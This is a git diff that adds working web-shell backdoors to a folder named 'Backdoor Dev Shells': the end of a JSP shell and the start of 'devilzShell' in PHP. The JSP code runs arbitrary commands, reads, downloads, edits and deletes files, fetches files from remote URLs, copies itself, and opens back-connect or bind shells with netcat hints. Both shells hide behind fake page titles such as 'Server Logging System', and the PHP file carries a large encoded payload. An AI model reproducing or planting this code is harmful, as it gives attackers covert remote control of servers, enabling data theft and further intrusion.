fileName.lastIndexOf('/'); + String name = null; + if (index >= 0) name = fileName.substring(index + 1); + else name = fileName; + index = name.lastIndexOf('\\'); + if (index >= 0) fileName = name.substring(index + 1); + path = dir + File.separator + fileName; + if (File.separatorChar == '/') return path.replace('\\', File.separatorChar); + else return path.replace('/', File.separatorChar); + } +} //End of class HttpMultiPartParser + +Hashtable cookieTable(Cookie[] cookies) { + Hashtable cookieTable = new Hashtable(); + if (cookies != null) { + for (int i=0; i < cookies.length; i++) + cookieTable.put(cookies[i].getName(), cookies[i].getValue()); + } + return cookieTable; +} + +%><% +//################# INIT GOES HERE #######################==================================================] +//String xCwd_ = getServletConfig().getServletContext().getRealPath(request.getRequestURI()); +String xCwd_ = getServletConfig().getServletContext().getRealPath(request.getRequestURI()); +String xCwd = xCwd_.substring(0,xCwd_.lastIndexOf(getSlash())); +chdir(xCwd); + +String result = ""; +String check = ""; +Hashtable _COOKIE = cookieTable(request.getCookies()); +Cookie myCookie; +boolean auth = false; +if((request.getParameter("passw")!=null) && (!request.getParameter("passw").equals(""))){ + check = request.getParameter("passw").trim(); + if(check.equals(shell_password)){ + myCookie = new Cookie("pass",check); + myCookie.setMaxAge(3600*24*7); + response.addCookie(myCookie); + } + else { + myCookie = new Cookie("pass",""); + myCookie.setMaxAge(0); + response.addCookie(myCookie); + } +} +if(_COOKIE.containsKey("pass")) { + check = (String) _COOKIE.get("pass"); +} + +if(check.equals(shell_password)){ + auth = true; +} +else auth = false; + + +if((request.getParameter("img")!=null) && (!request.getParameter("img").equals(""))){ + String myfile = request.getParameter("img"); + if(is_file(myfile)){ + response.setContentType("image/png"); + OutputStream o = response.getOutputStream(); + FileInputStream fis = new FileInputStream(myfile); + int i; + while ((i=fis.read()) != -1){ o.write(i); } + fis.close(); + o.flush(); + o.close(); + return; + } + else{ + String file = ""; + if(myfile.equals("icon")){ + file = icon; + } + else if(myfile.equals("bg")){ + file = bg; + } + byte[] data = b64decode(file); + response.setContentType("image/png"); + OutputStream o = response.getOutputStream(); + o.write(data); + o.flush(); + o.close(); + return; + } +} +if((request.getParameter("get")!=null) && (!request.getParameter("get").equals(""))){ + String myfile = request.getParameter("get"); + File myfile__ = new File(myfile); + response.setContentType("application/octet-stream"); + response.setHeader("Content-Disposition","attachment; filename=\"" + myfile__.getName() + "\""); + OutputStream o = response.getOutputStream(); + FileInputStream fis = new FileInputStream(myfile); + int i; + while ((i=fis.read()) != -1){ o.write(i); } + fis.close();o.flush();o.close(); + return; +} + + +if((request.getParameter("dir")!=null) && (!request.getParameter("dir").equals(""))){ + String newdir = xcleanpath(urldecode(request.getParameter("dir").trim())); + if((request.getParameter("oldfilename")!=null) && (!request.getParameter("oldfilename").equals(""))){ + if((request.getParameter("properties")!=null) && (!request.getParameter("properties").equals(""))){ + newdir = xcleanpath(xparentfolder(request.getParameter("oldfilename"))); + } + } + if(is_dir(newdir)){ + chdir(newdir); + xCwd = newdir; + } + else if(is_file(newdir)){ + newdir = newdir.substring(0,newdir.lastIndexOf(getSlash())); + if(is_dir(newdir)){ + chdir(newdir); + xCwd = newdir; + } + } + + if((request.getParameter("foldername")!=null) && (!request.getParameter("foldername").equals(""))){ + File myFile = new File(xcleanpath(xCwd + request.getParameter("foldername"))); + if(!myFile.exists()) myFile.mkdir(); + } + else if((request.getParameter("del")!=null) && (!request.getParameter("del").equals(""))){ + String fdel = request.getParameter("del"); + if(is_file(fdel)) new File(fdel).delete(); + else if(is_dir(fdel)){ + xrmdir(fdel); + xCwd = xcleanpath(newdir); + } + } + else if((request.getParameter("childname")!=null) && (!request.getParameter("childname").equals(""))){ + String childname = request.getParameter("childname").trim(); + String ortu = getServletConfig().getServletContext().getRealPath(request.getRequestURI()); + String con = xfileopen(ortu); + xfilesave(xCwd+childname,con); + } +} + +if((request.getParameter("btnConnect")!=null) && (!request.getParameter("btnConnect").equals(""))){ + if((request.getParameter("bportC")!=null) && (is_numeric(request.getParameter("bportC")))){ + String port = request.getParameter("bportC"); + String base64 = ""; + if(is_win()) base64 = wBind; + else base64 = xBack; + if(xrunexploit(xCwd,base64,port,request.getRemoteAddr())){ + } + } +} +else if((request.getParameter("btnListen")!=null) && (!request.getParameter("btnListen").equals(""))){ + if((request.getParameter("lportC")!=null) && (is_numeric(request.getParameter("lportC")))){ + String port = request.getParameter("lportC"); + String base64 = ""; + if(is_win()) base64 = wBind; + else base64 = xBind; + if(xrunexploit(xCwd,base64,port,"")){ + } + } +} + + + +if ((request.getContentType() != null) && (request.getContentType().toLowerCase().startsWith("multipart"))) { + HttpMultiPartParser myParser = new HttpMultiPartParser(); + try{ + int bstart = request.getContentType().lastIndexOf("oundary="); + String bound = request.getContentType().substring(bstart + 8); + int clength = request.getContentLength(); + Hashtable ht = myParser.processData(request.getInputStream(), bound, xCwd, clength); + if(ht.get("btnNewUploadUrl")!=null && !ht.get("btnNewUploadUrl").equals("")){ + if(ht.get("fileurl")!=null && !ht.get("fileurl").equals("")){ + URL myUrl = new URL(ht.get("fileurl").toString()); + URLConnection myCon = myUrl.openConnection(); + int conLength = myCon.getContentLength(); + InputStream raw = myCon.getInputStream(); + InputStream in = new BufferedInputStream(raw); + byte[] data = new byte[conLength]; + int bytesRead = 0; + int offset = 0; + while(offset < conLength){ + bytesRead = in.read(data, offset, data.length - offset); + if(bytesRead == -1) break; + offset += bytesRead; + } + in.close(); + if(offset == conLength){ + String fname = myUrl.getFile(); + fname = fname.substring(fname.lastIndexOf('/')+1); + if(ht.get("filename")!=null && !ht.get("filename").equals("")){ + fname = ht.get("filename").toString().trim(); + } + FileOutputStream ooo = new FileOutputStream(xCwd + fname); + ooo.write(data);ooo.flush();ooo.close(); + } + } + } + else if(ht.get("btnNewUploadLocal")!=null && !ht.get("btnNewUploadLocal").equals("")){ + FileInfo fi = (FileInfo) ht.get("filelocal"); + String clientFileName = xCwd + fi.clientFileName.trim(); + if(ht.get("filename")!=null && !ht.get("filename").equals("")){ + String filename = xCwd + ht.get("filename").toString().trim(); + File clientFile = new File(clientFileName); + clientFile.renameTo(new File(filename)); + } + } + } + catch(Exception e){ } +} + +if((request.getParameter("cmd")!=null) && (!request.getParameter("cmd").equals(""))){ + String cmd = urldecode(request.getParameter("cmd")); + String newdir = ""; + if(cmd.toLowerCase().startsWith("cd ")){ + newdir = cmd.substring(3).trim(); + if(is_win()) newdir = newdir.replace("/","\\"); + if(newdir.equals("\\") && xCwd.length()>=3){ xCwd = xCwd.substring(0,3); } + else if(newdir.equals(".")) { } + else if(newdir.equals("..")) { + xCwd = xcleanpath(xparentfolder(xCwd)); + } + else{ + if(newdir.indexOf(":") > 0){ + if(is_dir(newdir)){ xCwd = xcleanpath(newdir); } + } + else if(is_dir(newdir)){ + xCwd = xcleanpath(newdir); + } + else{ + if(is_dir(xCwd + newdir)) { xCwd = xcleanpath(xCwd + newdir); } + } + } + result = xdir(xCwd); + } + else if(cmd.matches("^\\w{1}:.*")){ + if(is_dir(cmd)){ xCwd = xcleanpath(cmd); } + result = xdir(xCwd); + } + else { + String result_ = htmlspecialchars(ekse(cmd,xCwd)); + if(!result_.equals("")) result = result_.replace("\n","
"); + else { + result = xdir(xCwd); + } + } + chdir(xCwd); +} +else if((request.getParameter("properties")!=null) && (!request.getParameter("properties").equals(""))){ + String fname = xcleanpath(urldecode(request.getParameter("properties"))); + String oldname = ""; + if((request.getParameter("oldfilename")!=null) && (!request.getParameter("oldfilename").equals(""))){ + oldname = request.getParameter("oldfilename"); + File oldfile = new File(oldname); + oldfile.renameTo(new File(fname)); + } + String dir = xCwd; + String fcont = ""; + String fview = ""; + String fsize = ""; + String faction = ""; + String type = ""; + if(is_dir(fname)){ + fsize = "DIR"; + fcont = xdir(fname); + faction = "Properties | Remove"; + } + else{ + fsize = xparsefilesize(xfilesize(fname)) + " ( " + xfilesize(fname) + " bytes )"; + if((request.getParameter("type")!=null) && (!request.getParameter("type").equals(""))) type = request.getParameter("type").trim(); + else{ + if(is_image(fname)) type = "img"; + else type = "text"; + } + if(type.equals("img")){ + String imglink = "

[ view full size ]

"; + fcont = "
" + imglink + "\"\"
"; + } + else{ + String code = htmlspecialchars(xfileopen(fname)); + fcont = "
" + code.replace("\n","
") + "
"; + } + + faction = "Edit | Download | Remove"; + fview = "[ text ][ image ]"; + } + String fperm = xfileperms(fname); + String filemtime = xfilelastmodified(fname); + result = "
" + + "
" + + "" + + "" + faction + " | " + + "" + + " " + + "" + + "
" + + "Size = " + fsize + "
" + + "Permission = ( " + fperm + " )
" + + "Last Modified = ( " + filemtime + " )
" + + fview + "
" + fcont + "
"; +} +else if(((request.getParameter("view")!=null) && (!request.getParameter("view").equals(""))) || ((request.getParameter("filename")!=null) && (!request.getParameter("filename").equals("")))){ + String mymsg = ""; + String pesan = ""; + String fpath = ""; + boolean dos = false; + if((request.getParameter("save")!=null) && (!request.getParameter("save").equals(""))){ + if((request.getParameter("dos")!=null) && (request.getParameter("dos").equals("true"))){ dos = true; } + String saveas = request.getParameter("saveas"); + BufferedWriter outs = new BufferedWriter(new FileWriter(saveas)); + StringReader text = new StringReader(request.getParameter("filesource")); + int i; + boolean cr = false; + String lineend = "\n"; + if (dos) lineend = "\r\n"; + while ((i = text.read()) >= 0) { + if (i == '\r') cr = true; + else if (i == '\n') { + outs.write(lineend); + cr = false; + } + else if (cr) { + outs.write(lineend); + cr = false; + } + else { + outs.write(i); + cr = false; + } + } + outs.flush(); + outs.close(); + + if(is_file(saveas)) pesan = "File Saved"; + else pesan = "Failed to save file"; + mymsg = "[ " + pesan + " ]"; + } + if((request.getParameter("view")!=null) && (!request.getParameter("view").equals(""))) { + fpath = request.getParameter("view"); + if((request.getParameter("saveas")!=null) && (!request.getParameter("saveas").equals(""))){ + fpath = request.getParameter("saveas"); + } + } + else fpath = xCwd + request.getParameter("filename"); + + StringBuffer result_ = new StringBuffer("");; + BufferedReader reader = new BufferedReader(new FileReader(fpath)); + int i; + + boolean cr = false; + while ((i = reader.read()) >= 0) { + result_.append((char) i); + if (i == '\r') cr = true; + else if (cr && (i == '\n')) dos = true; + else cr = false; + } + reader.close(); + String doz = "";if(dos) doz="true";else doz="false"; + result = "

" + xfilesummary(fpath) + "" + mymsg + "

" + + "
" + + "" + + "" + + "" + + " " + + "
"; +} +else{ + result = xdir(xCwd); +} +//################# Finalizing #######################======================================================] +File xcfile = new File("."); +xCwd = xcfile.getCanonicalPath(); +String html_title = ""; +String html_head = ""; +String html_body = ""; +if(auth){ + String bportC = ""; + String lportC = ""; + if(request.getParameter("bportC")!=null) bportC = request.getParameter("bportC"); + else bportC = shell_fav_port; + if(request.getParameter("lportC")!=null) lportC = request.getParameter("lportC"); + else lportC = shell_fav_port; + + html_title = shell_title + " " + xCwd; + html_head = "" + html_title + "" + +"" + shell_style + +""; +html_body = "
" + +"

" + shell_title + "

" + +"
" + xHeader + +"
" + xdrive() + xparsedir(xCwd) + +"
" + +"
" + +"[ New File ] " + +"[ New Folder ] " + +"[ Replicate ] " + +"[ Upload ] " + +"[ BindShell ] " + +"
" + +"
" + +"
" + +"" + +"" + +"" + +"" + +"" + +"" + +"" + +"
BackConnect" + +"Port " + +" " + +"example: (using netcat) run "nc -l -p " + bportC + "" and then press Connect
Listen" + +"Port " + +" " + +"example: (using netcat) press "Listen" and then run "nc " + xServerIP + " " + lportC + ""
" + +"
" + +"
" + +"" + +"" + +"
New Foldername" + +"" + +"" + +"" + +"
" + +"
" + +"
" + +"" + +"" + +"
New Filename" + +"" + +"" + +"" + +"
" + +"
" + +"
" + +"" + +"" + +"" + +"
Save as
From Url" + +"" + +"
From Computer" + +"" + +"" + +"
" + +"
" + +"
" + +"" + +"" + +"
New Shellname" + +"" + +"" + +"
" + +"
" + +"
" + +"
" + +"" + +"" + +"" + +"
" + +"
" + +"
" + +"
" + result + +"
"; +} +else { + html_title = shell_fake_name; + html_head = "" + html_title + "" + shell_style; + html_body = "
" + +"
" + +"
" + +"" + +"" + +"
" + +"
" + +"
" + shell_fake_name + "
" + +"
"; +} +String html_onload = ""; +if((request.getParameter("cmd")!=null) || (request.getParameter("passw")!=null)){ + html_onload = " onload=\"document.getElementById('cmd').focus();\""; +} +else html_onload = ""; + +String html_final = "" + html_head + +"" + +"" + +"
" + html_body + +"
"; +%><% out.println(html_final.replace("\\s+"," ").trim()); %> \ No newline at end of file diff --git a/Backdoor Dev Shells/devshell.php b/Backdoor Dev Shells/devshell.php new file mode 100644 index 0000000..c86a112 --- /dev/null +++ b/Backdoor Dev Shells/devshell.php @@ -0,0 +1,21 @@ + +// ^^^^^^^^^^^^ +// author: b374k +// greets: devilzc0der(s) and all of you who love peace and freedom +// +// +// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +// Jayalah Indonesiaku + + +$shell_name = "devilzShell"; +$shell_fake_name = "Server Logging System"; +$shell_title = " :: ".$shell_name." ::"; +$shell_version = "v1"; +$shell_password = "devilzc0der"; +$shell_fav_port = "12345"; +$shell_color = "#374374"; +$shell_code = "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